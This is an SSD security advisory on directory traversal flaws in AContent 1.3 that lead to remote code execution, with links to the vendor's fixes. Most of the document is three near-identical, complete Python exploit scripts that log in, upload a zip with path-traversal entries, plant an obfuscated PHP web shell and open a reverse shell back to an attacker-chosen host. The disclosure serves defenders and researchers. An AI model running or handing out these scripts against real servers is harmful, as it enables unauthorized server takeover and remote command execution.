SSD Advisory – AContent Multiple Vulnerabilities
Credit to Author: SSD / Maor Schwartz| Date: Tue, 16 May 2017 05:32:18 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities types found in AContent version 1.3.
AContent is an open source learning content management system (LCMS) used to create interoperable, accessible, adaptive Web-based learning content. It can be used along with learning management systems to develop, share, and archive learning materials. For those familiar with ATutor, AContent contains the content authoring, test authoring, and content interoperability features of ATutor, producing a standalone tool that can be used with any system that supports IMS content interoperability standards.
The vulnerability found are:
- Directory Traversal
- Directory Traversal that lead to Remote Code Execution – question_import.php
- Directory Traversal that lead to Remote Code Execution – ims_import.php
- Directory Traversal that lead to Remote Code Execution – import_test.php
Credit
An independent security researcher, Steven Seeley, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
AContent has fixed the vulnerabilities in their GitHub master branch.
For more details:
- https://github.com/atutor/AContent/commit/bd6f26c954b2e6891c94447d1930ab17d76dc17c
- https://github.com/atutor/AContent/commit/a6568bc0ff8f454ed666ec8976b8665c6c55bd49
Vulnerabilities Details
Directory Traversal
AContent is vulnerable to a Directory Traversal vulnerability. The vulnerable code can be found in file tool_provider_outcome.php.
The second parameter passed to the sendOAuthBodyPOST() function called in tool_provider_outcome.php is vulnerable to a directory traversal that can be used to disclose files.
Proof of Concept
Directory Traversal that lead to Remote Code Execution – question_import.php
AContent is vulnerable to a Directory Traversal vulnerability that can lead to a Remote Code Execution. The vulnerable code can be found in file question_import.php.
Vulnerable code can be found in lines 168-170 in test/question_import.php
1 2 3 | $archive = new PclZip($_FILES[‘file’][‘tmp_name’]); if ($archive->extract( PCLZIP_OPT_PATH, $import_path, PCLZIP_CB_PRE_EXTRACT, ‘preImportCallBack’) == 0) { |
This code calls extract() on a user supplied uploaded zip file.
The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension.
This can be used to write into the web root and gain remote code execution.
Notes:
- Requires that the target has display_errors=On in the php.ini
- Requires that you use an author account, but open registration is enabled by default
- Requires that you have at least one writable directory in the web-root, this is common
- Requires that the author has at least one course created under their account
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 | #!/usr/local/bin/python import re import os import sys import time import select import string import random import zipfile import termios import hashlib import requests import threading import SocketServer from cStringIO import StringIO # interactive connectback listener class connect_back_shell(SocketServer.BaseRequestHandler): “”“ our interactive, shell like client ““” def handle(self): s = self.request old_settings = termios.tcgetattr(0) try: c = True self.close = 0 while not self.close: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 2048) if c: os.write(s.fileno() if i == 0 else 1, c) if i == 0: if “exit” in c or “quit” in c: self.terminate() s.close() except KeyboardInterrupt: return finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) return def terminate(self,): self.close = 1 self.server.shutdown() class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def banner(): print “nt| ———————————————————————– |” print “t| AContent <= 1.3 question_import.php Remote Code Execution Vulnerability |” def _get_hashed_password(token): “”“ takes advantage of the authentication weakness and generates the hash as the server expects it, see client side code ““” s2 = hashlib.sha1() s1 = hashlib.sha1() s1.update(password) hash_stage_1 = s1.hexdigest() s2.update(“%s%s” % (hash_stage_1, token)) return s2.hexdigest() def _build_php_code(): phpkode = (“”“ @set_time_limit(0); @ignore_user_abort(1); @ini_set(‘max_execution_time’,0);”“”) phpkode += (“”“$dis=@ini_get(‘disable_functions’);”“”) phpkode += (“”“if(!empty($dis)){$dis=preg_replace(‘/[, ]+/’, ‘,’, $dis);$dis=explode(‘,’, $dis);”“”) phpkode += (“”“$dis=array_map(‘trim’, $dis);}else{$dis=array();} ““”) phpkode += (“”“if(!function_exists(‘LcNIcoB’)){function LcNIcoB($c){ ““”) phpkode += (“”“global $dis;if (FALSE !== strpos(strtolower(PHP_OS), ‘win’ )) {$c=$c.” 2>&1n“;} ““”) phpkode += (“”“$imARhD=’is_callable’;$kqqI=’in_array’;”“”) phpkode += (“”“if($imARhD(‘popen’)and!$kqqI(‘popen’,$dis)){$fp=popen($c,’r’);”“”) phpkode += (“”“$o=NULL;if(is_resource($fp)){while(!feof($fp)){ ““”) phpkode += (“”“$o.=fread($fp,1024);}}@pclose($fp);}else”“”) phpkode += (“”“if($imARhD(‘proc_open’)and!$kqqI(‘proc_open’,$dis)){ ““”) phpkode += (“”“$handle=proc_open($c,array(array(pipe,’r’),array(pipe,’w’),array(pipe,’w’)),$pipes); ““”) phpkode += (“”“$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} ““”) phpkode += (“”“@proc_close($handle);}else if($imARhD(‘system’)and!$kqqI(‘system’,$dis)){ ““”) phpkode += (“”“ob_start();system($c);$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘passthru’)and!$kqqI(‘passthru’,$dis)){ob_start();passthru($c); ““”) phpkode += (“”“$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘shell_exec’)and!$kqqI(‘shell_exec’,$dis)){ ““”) phpkode += (“”“$o=shell_exec($c);}else if($imARhD(‘exec’)and!$kqqI(‘exec’,$dis)){ ““”) phpkode += (“”“$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} ““”) phpkode += (“”“$nofuncs=’no exec functions’; ““”) phpkode += (“”“if(is_callable(‘fsockopen’)and!in_array(‘fsockopen’,$dis)){ ““”) phpkode += (“”“$s=@fsockopen(‘tcp://%s’,’%s’);while($c=fread($s,2048)){$out = ”; ““” % (cb_host, cb_port)) phpkode += (“”“if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“}elseif (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’){break;}else{ ““”) phpkode += (“”“$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); ““”) phpkode += (“”“break;}}fwrite($s,$out);}fclose($s);}else{ ““”) phpkode += (“”“$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,’%s’,’%s’); ““” % (cb_host, cb_port)) phpkode += (“”“@socket_write($s,”socket_create“);while($c=@socket_read($s,2048)){ ““”) phpkode += (“”“$out = ”;if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“} else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { ““”) phpkode += (“”“break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ ““”) phpkode += (“”“@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); ““”) phpkode += (“”“}@socket_close($s);} ““”) return “<?php %s ?>“ % phpkode def we_can_login(): “”“ logs into the target ““” print “(+) getting server token” r = s.get(“http://%s/login.php” % target) match = re.search(“) + “(.*)”)”, r.text) if match: print “(+) found the token” print “(+) logging in as %s…” % username data = {‘form_password_hidden’: _get_hashed_password(match.group(1)), ‘form_login’: username, ‘submit’:‘Login’} r = s.post(“http://%s/login.php” % target, data=data, allow_redirects=False) if (r.status_code == 302) and (“index.php” in r.headers[‘Location’]): return True else: print “(-) failed to login, check your student password” else: print “(-) failed to get the token” return False def _build_zip(): “”“ builds the zip file. we upload a .htaccess incase the webserver doesnt have a handler for phtml extensions but typically, they do. ““” f = StringIO() z = zipfile.ZipFile(f, ‘w’, zipfile.ZIP_DEFLATED) z.writestr(‘../../../../../../../../../../../../..%shome/.htaccess’ % fp, “AddType application/x-httpd-php .phtml”) z.writestr(‘../../../../../../../../../../../../..%shome/si.phtml’ % fp, _build_php_code()) z.close() handle = open(‘pwn.zip’,‘wb’) handle.write(f.getvalue()) handle.close def we_can_upload_a_shell(): “”“ uploads a zip file with php code inside to our target for exploitation ““” _build_zip() multiple_files = { ‘file’: (‘pwn.zip’, open(‘pwn.zip’,‘rb’), ‘application/zip’), ‘submit_import’: (None, ‘Install’), } proxies = {“http”:“http://127.0.0.1:8080”} r = s.post(“http://%s/tests/question_import.php?_course_id=2” % target, files=multiple_files, allow_redirects=False, proxies=proxies) if r.status_code == 302: return True return False def _clean_up(): os.remove(“pwn.zip”) def pop_shell(): “”“ pops a shell by making a request to the backdoor code ““” _clean_up() try: r = s.get(“http://%s/home/si.phtml” % target) except: pass def we_can_get_fp(): “”“ gets the full path requires some php.ini settings: display_errors = On ““” global fp r = s.get(“http://%s/documentation/index.php?p[]=” % target) match = re.search(“array given in <b>/(.*)documentation/index.php</b> “, r.text) if match: fp = “/%s” % match.group(1) return True return False def validation_of_args_are_good(): “”“ validates where the arguments are good or not ““” global target, cb_host, cb_port, username, password, w_lst, help_str help_str = “%s <target> <author user:pass> <connectback host:port>” % sys.argv[0] if len(sys.argv) < 4: print help_str sys.exit(1) target = sys.argv[1] user_pass = sys.argv[2] host_port = sys.argv[3] if “:” not in host_port: print “(-) your connectback host must be in <host:port> format” return False elif “:” not in user_pass: print “(-) your student username and password must be in <user:pass> format” return False cb_port = host_port.split(“:”)[1] cb_host = host_port.split(“:”)[0] password = user_pass.split(“:”)[1] username = user_pass.split(“:”)[0] if not cb_port.isdigit(): print “(-) you need a port NUMBER for the command back host” return False elif not os.access(os.getcwd(), os.W_OK): print “(-) dont have write access in current dir!” return False return True def main(): global s s = requests.Session() banner() if validation_of_args_are_good(): if we_can_login(): print “(+) logged in successfully…” print “(+) finding full path…” if we_can_get_fp(): print “(!) found the path at: %s” % fp print “(+) uploading shell…” if we_can_upload_a_shell(): print “(!) shell upload successful, launching!” instance = threaded_tcp_server((“0.0.0.0”, int(cb_port)), connect_back_shell) cbserver = threading.Thread(target=instance.serve_forever) cbserver.daemon = True cbserver.start() pop_shell() else: print help_str sys.exit(–1) if __name__ == ‘__main__’: main() |
Directory Traversal that lead to Remote Code Execution – ims_import.php
AContent is vulnerable to a Directory Traversal vulnerability that lead to a Remote Code Execution. The vulnerable code can be found in file ims_import.php
Vulnerable code can be found in lines 896-899 in home/ims/ims_import.php
1 2 3 4 | $archive = new PclZip($_FILES[‘file’][‘tmp_name’]); if ($archive->extract( PCLZIP_OPT_PATH, $import_path, PCLZIP_CB_PRE_EXTRACT, ‘preImportCallBack’) == 0) { |
This code calls extract() on a user supplied uploaded zip file. The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension. This can be used to write into the web root and gain remote code execution.
Notes:
- Requires that the target has target has display_errors=On in the php.ini
- Requires that you use an author account, but open registration is enabled by default
- Requires that you have at least one writable directory in the web-root, this is common
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 | #!/usr/local/bin/python import re import os import sys import time import select import string import random import zipfile import termios import hashlib import requests import threading import SocketServer from cStringIO import StringIO # interactive connectback listener class connect_back_shell(SocketServer.BaseRequestHandler): “”“ our interactive, shell like client ““” def handle(self): s = self.request old_settings = termios.tcgetattr(0) try: c = True self.close = 0 while not self.close: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 2048) if c: os.write(s.fileno() if i == 0 else 1, c) if i == 0: if “exit” in c or “quit” in c: self.terminate() s.close() except KeyboardInterrupt: return finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) return def terminate(self,): self.close = 1 self.server.shutdown() class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def banner(): print “nt| —————————————————————— |” print “t| AContent <= 1.3 ims_import.php Remote Code Execution Vulnerability |” print “t| ———————————–|n” def _get_hashed_password(token): “”“ takes advantage of the authentication weakness and generates the hash as the server expects it, see client side code ““” s2 = hashlib.sha1() s1 = hashlib.sha1() s1.update(password) hash_stage_1 = s1.hexdigest() s2.update(“%s%s” % (hash_stage_1, token)) return s2.hexdigest() def _build_php_code(): phpkode = (“”“ @set_time_limit(0); @ignore_user_abort(1); @ini_set(‘max_execution_time’,0);”“”) phpkode += (“”“$dis=@ini_get(‘disable_functions’);”“”) phpkode += (“”“if(!empty($dis)){$dis=preg_replace(‘/[, ]+/’, ‘,’, $dis);$dis=explode(‘,’, $dis);”“”) phpkode += (“”“$dis=array_map(‘trim’, $dis);}else{$dis=array();} ““”) phpkode += (“”“if(!function_exists(‘LcNIcoB’)){function LcNIcoB($c){ ““”) phpkode += (“”“global $dis;if (FALSE !== strpos(strtolower(PHP_OS), ‘win’ )) {$c=$c.” 2>&1n“;} ““”) phpkode += (“”“$imARhD=’is_callable’;$kqqI=’in_array’;”“”) phpkode += (“”“if($imARhD(‘popen’)and!$kqqI(‘popen’,$dis)){$fp=popen($c,’r’);”“”) phpkode += (“”“$o=NULL;if(is_resource($fp)){while(!feof($fp)){ ““”) phpkode += (“”“$o.=fread($fp,1024);}}@pclose($fp);}else”“”) phpkode += (“”“if($imARhD(‘proc_open’)and!$kqqI(‘proc_open’,$dis)){ ““”) phpkode += (“”“$handle=proc_open($c,array(array(pipe,’r’),array(pipe,’w’),array(pipe,’w’)),$pipes); ““”) phpkode += (“”“$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} ““”) phpkode += (“”“@proc_close($handle);}else if($imARhD(‘system’)and!$kqqI(‘system’,$dis)){ ““”) phpkode += (“”“ob_start();system($c);$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘passthru’)and!$kqqI(‘passthru’,$dis)){ob_start();passthru($c); ““”) phpkode += (“”“$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘shell_exec’)and!$kqqI(‘shell_exec’,$dis)){ ““”) phpkode += (“”“$o=shell_exec($c);}else if($imARhD(‘exec’)and!$kqqI(‘exec’,$dis)){ ““”) phpkode += (“”“$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} ““”) phpkode += (“”“$nofuncs=’no exec functions’; ““”) phpkode += (“”“if(is_callable(‘fsockopen’)and!in_array(‘fsockopen’,$dis)){ ““”) phpkode += (“”“$s=@fsockopen(‘tcp://%s’,’%s’);while($c=fread($s,2048)){$out = ”; ““” % (cb_host, cb_port)) phpkode += (“”“if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“}elseif (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’){break;}else{ ““”) phpkode += (“”“$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); ““”) phpkode += (“”“break;}}fwrite($s,$out);}fclose($s);}else{ ““”) phpkode += (“”“$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,’%s’,’%s’); ““” % (cb_host, cb_port)) phpkode += (“”“@socket_write($s,”socket_create“);while($c=@socket_read($s,2048)){ ““”) phpkode += (“”“$out = ”;if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“} else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { ““”) phpkode += (“”“break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ ““”) phpkode += (“”“@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); ““”) phpkode += (“”“}@socket_close($s);} ““”) return “<?php %s ?>“ % phpkode def we_can_login(): “”“ logs into the target ““” print “(+) getting server token” r = s.get(“http://%s/login.php” % target) match = re.search(“) + “(.*)”)”, r.text) if match: print “(+) found the token” print “(+) logging in as %s…” % username data = {‘form_password_hidden’: _get_hashed_password(match.group(1)), ‘form_login’: username, ‘submit’:‘Login’} r = s.post(“http://%s/login.php” % target, data=data, allow_redirects=False) if (r.status_code == 302) and (“index.php” in r.headers[‘Location’]): return True else: print “(-) failed to login, check your student password” else: print “(-) failed to get the token” return False def _build_zip(): “”“ builds the zip file. we upload a .htaccess incase the webserver doesnt have a handler for phtml extensions but typically, they do. ““” f = StringIO() z = zipfile.ZipFile(f, ‘w’, zipfile.ZIP_DEFLATED) z.writestr(‘../../../../../../../../../../../../..%shome/.htaccess’ % fp, “AddType application/x-httpd-php .phtml”) z.writestr(‘../../../../../../../../../../../../..%shome/si.phtml’ % fp, _build_php_code()) z.close() handle = open(‘pwn.zip’,‘wb’) handle.write(f.getvalue()) handle.close def we_can_upload_a_shell(): “”“ uploads a zip file with php code inside to our target for exploitation ““” _build_zip() multiple_files = { ‘allow_test_import’: (None, ‘1’), ‘allow_a4a_import’: (None, ‘1’), ‘file’: (‘pwn.zip’, open(‘pwn.zip’,‘rb’), ‘application/zip’), ‘submit’: (None, ‘Import’), } proxies = {“http”:“http://127.0.0.1:8080”} r = s.post(“http://%s/home/ims/ims_import.php” % target, files=multiple_files, allow_redirects=False, proxies=proxies) if r.status_code == 302: return True return False def _clean_up(): os.remove(“pwn.zip”) def pop_shell(): “”“ pops a shell by making a request to the backdoor code ““” _clean_up() try: r = s.get(“http://%s/home/si.phtml” % target) except: pass def we_can_get_fp(): “”“ gets the full path requires some php.ini settings: display_errors = On ““” global fp r = s.get(“http://%s/documentation/index.php?p[]=” % target) match = re.search(“array given in <b>/(.*)documentation/index.php</b> “, r.text) if match: fp = “/%s” % match.group(1) return True return False def validation_of_args_are_good(): “”“ validates where the arguments are good or not ““” global target, cb_host, cb_port, username, password, w_lst, help_str help_str = “%s <target> <author user:pass> <connectback host:port>” % sys.argv[0] if len(sys.argv) < 4: print help_str sys.exit(1) target = sys.argv[1] user_pass = sys.argv[2] host_port = sys.argv[3] if “:” not in host_port: print “(-) your connectback host must be in <host:port> format” return False elif “:” not in user_pass: print “(-) your student username and password must be in <user:pass> format” return False cb_port = host_port.split(“:”)[1] cb_host = host_port.split(“:”)[0] password = user_pass.split(“:”)[1] username = user_pass.split(“:”)[0] if not cb_port.isdigit(): print “(-) you need a port NUMBER for the command back host” return False elif not os.access(os.getcwd(), os.W_OK): print “(-) dont have write access in current dir!” return False return True def main(): global s s = requests.Session() banner() if validation_of_args_are_good(): if we_can_login(): print “(+) logged in successfully…” print “(+) finding full path…” if we_can_get_fp(): print “(!) found the path at: %s” % fp print “(+) uploading shell…” if we_can_upload_a_shell(): print “(!) shell upload successful, launching!” instance = threaded_tcp_server((“0.0.0.0”, int(cb_port)), connect_back_shell) cbserver = threading.Thread(target=instance.serve_forever) cbserver.daemon = True cbserver.start() pop_shell() else: print help_str sys.exit(–1) if __name__ == ‘__main__’: main() |
Directory Traversal that lead to Remote Code Execution – import_test.php
AContent is vulnerable to a Directory Traversal vulnerability that lead to a Remote Code Execution. The vulnerable code can be found in import_test.php
Vulnerable code can be found in lines 184-186 in test/import_test.php
1 2 3 | $archive = new PclZip($_FILES[‘file’][‘tmp_name’]); if ($archive->extract( PCLZIP_OPT_PATH, $import_path, PCLZIP_CB_PRE_EXTRACT, ‘preImportCallBack’) == 0) { |
This code calls extract() on a user supplied uploaded zip file. The preImportCallBack() does not check for directory traversals and performs a blacklist check on teh file extension. This can be used to write into the web root and gain remote code execution.
Notes:
- Requires that the target has display_errors=On in the php.ini
- Requires that you use an author account, but open registration is enabled by default
- Requires that you have at least one writable directory in the web-root, this is common
- Requires that the author has at least one course created under their account
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 | #!/usr/local/bin/python import re import os import sys import time import select import string import random import zipfile import termios import hashlib import requests import threading import SocketServer from cStringIO import StringIO # interactive connectback listener class connect_back_shell(SocketServer.BaseRequestHandler): “”“ our interactive, shell like client ““” def handle(self): s = self.request old_settings = termios.tcgetattr(0) try: c = True self.close = 0 while not self.close: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 2048) if c: os.write(s.fileno() if i == 0 else 1, c) if i == 0: if “exit” in c or “quit” in c: self.terminate() s.close() except KeyboardInterrupt: return finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) return def terminate(self,): self.close = 1 self.server.shutdown() class threaded_tcp_server(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass def banner(): print “nt| ——————————————————————- |” print “t| AContent <= 1.3 import_test.php Remote Code Execution Vulnerability |” print “t| ————————————|n” def _get_hashed_password(token): “”“ takes advantage of the authentication weakness and generates the hash as the server expects it, see client side code ““” s2 = hashlib.sha1() s1 = hashlib.sha1() s1.update(password) hash_stage_1 = s1.hexdigest() s2.update(“%s%s” % (hash_stage_1, token)) return s2.hexdigest() def _build_php_code(): phpkode = (“”“ @set_time_limit(0); @ignore_user_abort(1); @ini_set(‘max_execution_time’,0);”“”) phpkode += (“”“$dis=@ini_get(‘disable_functions’);”“”) phpkode += (“”“if(!empty($dis)){$dis=preg_replace(‘/[, ]+/’, ‘,’, $dis);$dis=explode(‘,’, $dis);”“”) phpkode += (“”“$dis=array_map(‘trim’, $dis);}else{$dis=array();} ““”) phpkode += (“”“if(!function_exists(‘LcNIcoB’)){function LcNIcoB($c){ ““”) phpkode += (“”“global $dis;if (FALSE !== strpos(strtolower(PHP_OS), ‘win’ )) {$c=$c.” 2>&1n“;} ““”) phpkode += (“”“$imARhD=’is_callable’;$kqqI=’in_array’;”“”) phpkode += (“”“if($imARhD(‘popen’)and!$kqqI(‘popen’,$dis)){$fp=popen($c,’r’);”“”) phpkode += (“”“$o=NULL;if(is_resource($fp)){while(!feof($fp)){ ““”) phpkode += (“”“$o.=fread($fp,1024);}}@pclose($fp);}else”“”) phpkode += (“”“if($imARhD(‘proc_open’)and!$kqqI(‘proc_open’,$dis)){ ““”) phpkode += (“”“$handle=proc_open($c,array(array(pipe,’r’),array(pipe,’w’),array(pipe,’w’)),$pipes); ““”) phpkode += (“”“$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} ““”) phpkode += (“”“@proc_close($handle);}else if($imARhD(‘system’)and!$kqqI(‘system’,$dis)){ ““”) phpkode += (“”“ob_start();system($c);$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘passthru’)and!$kqqI(‘passthru’,$dis)){ob_start();passthru($c); ““”) phpkode += (“”“$o=ob_get_contents();ob_end_clean(); ““”) phpkode += (“”“}else if($imARhD(‘shell_exec’)and!$kqqI(‘shell_exec’,$dis)){ ““”) phpkode += (“”“$o=shell_exec($c);}else if($imARhD(‘exec’)and!$kqqI(‘exec’,$dis)){ ““”) phpkode += (“”“$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} ““”) phpkode += (“”“$nofuncs=’no exec functions’; ““”) phpkode += (“”“if(is_callable(‘fsockopen’)and!in_array(‘fsockopen’,$dis)){ ““”) phpkode += (“”“$s=@fsockopen(‘tcp://%s’,’%s’);while($c=fread($s,2048)){$out = ”; ““” % (cb_host, cb_port)) phpkode += (“”“if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“}elseif (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’){break;}else{ ““”) phpkode += (“”“$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); ““”) phpkode += (“”“break;}}fwrite($s,$out);}fclose($s);}else{ ““”) phpkode += (“”“$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,’%s’,’%s’); ““” % (cb_host, cb_port)) phpkode += (“”“@socket_write($s,”socket_create“);while($c=@socket_read($s,2048)){ ““”) phpkode += (“”“$out = ”;if(substr($c,0,3) == ‘cd ‘){chdir(substr($c,3,-1)); ““”) phpkode += (“”“} else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { ““”) phpkode += (“”“break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ ““”) phpkode += (“”“@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); ““”) phpkode += (“”“}@socket_close($s);} ““”) return “<?php %s ?>“ % phpkode def we_can_login(): “”“ logs into the target ““” print “(+) getting server token” r = s.get(“http://%s/login.php” % target) match = re.search(“) + “(.*)”)”, r.text) if match: print “(+) found the token” print “(+) logging in as %s…” % username data = {‘form_password_hidden’: _get_hashed_password(match.group(1)), ‘form_login’: username, ‘submit’:‘Login’} r = s.post(“http://%s/login.php” % target, data=data, allow_redirects=False) if (r.status_code == 302) and (“index.php” in r.headers[‘Location’]): return True else: print “(-) failed to login, check your student password” else: print “(-) failed to get the token” return False def _build_zip(): “”“ builds the zip file. we upload a .htaccess incase the webserver doesnt have a handler for phtml extensions but typically, they do. ““” f = StringIO() z = zipfile.ZipFile(f, ‘w’, zipfile.ZIP_DEFLATED) z.writestr(‘../../../../../../../../../../../../..%shome/.htaccess’ % fp, “AddType application/x-httpd-php .phtml”) z.writestr(‘../../../../../../../../../../../../..%shome/si.phtml’ % fp, _build_php_code()) z.close() handle = open(‘pwn.zip’,‘wb’) handle.write(f.getvalue()) handle.close def we_can_upload_a_shell(): “”“ uploads a zip file with php code inside to our target for exploitation ““” _build_zip() multiple_files = { ‘file’: (‘pwn.zip’, open(‘pwn.zip’,‘rb’), ‘application/zip’), ‘submit_import’: (None, ‘Install’), ‘_course_id’: (None, ‘2’) } proxies = {“http”:“http://127.0.0.1:8080”} r = s.post(“http://%s/tests/import_test.php” % target, files=multiple_files, allow_redirects=False, proxies=proxies) if r.status_code == 302: return True return False def _clean_up(): os.remove(“pwn.zip”) def pop_shell(): “”“ pops a shell by making a request to the backdoor code ““” _clean_up() try: r = s.get(“http://%s/home/si.phtml” % target) except: pass def we_can_get_fp(): “”“ gets the full path requires some php.ini settings: display_errors = On ““” global fp r = s.get(“http://%s/documentation/index.php?p[]=” % target) match = re.search(“array given in <b>/(.*)documentation/index.php</b> “, r.text) if match: fp = “/%s” % match.group(1) return True return False def validation_of_args_are_good(): “”“ validates where the arguments are good or not ““” global target, cb_host, cb_port, username, password, w_lst, help_str help_str = “%s <target> <author user:pass> <connectback host:port>” % sys.argv[0] if len(sys.argv) < 4: print help_str sys.exit(1) target = sys.argv[1] user_pass = sys.argv[2] host_port = sys.argv[3] if “:” not in host_port: print “(-) your connectback host must be in <host:port> format” return False elif “:” not in user_pass: print “(-) your student username and password must be in <user:pass> format” return False cb_port = host_port.split(“:”)[1] cb_host = host_port.split(“:”)[0] password = user_pass.split(“:”)[1] username = user_pass.split(“:”)[0] if not cb_port.isdigit(): print “(-) you need a port NUMBER for the command back host” return False elif not os.access(os.getcwd(), os.W_OK): print “(-) dont have write access in current dir!” return False return True def main(): global s s = requests.Session() banner() if validation_of_args_are_good(): if we_can_login(): print “(+) logged in successfully…” print “(+) finding full path…” if we_can_get_fp(): print “(!) found the path at: %s” % fp print “(+) uploading shell…” if we_can_upload_a_shell(): print “(!) shell upload successful, launching!” instance = threaded_tcp_server((“0.0.0.0”, int(cb_port)), connect_back_shell) cbserver = threading.Thread(target=instance.serve_forever) cbserver.daemon = True cbserver.start() pop_shell() else: print help_str sys.exit(–1) if __name__ == ‘__main__’: main() |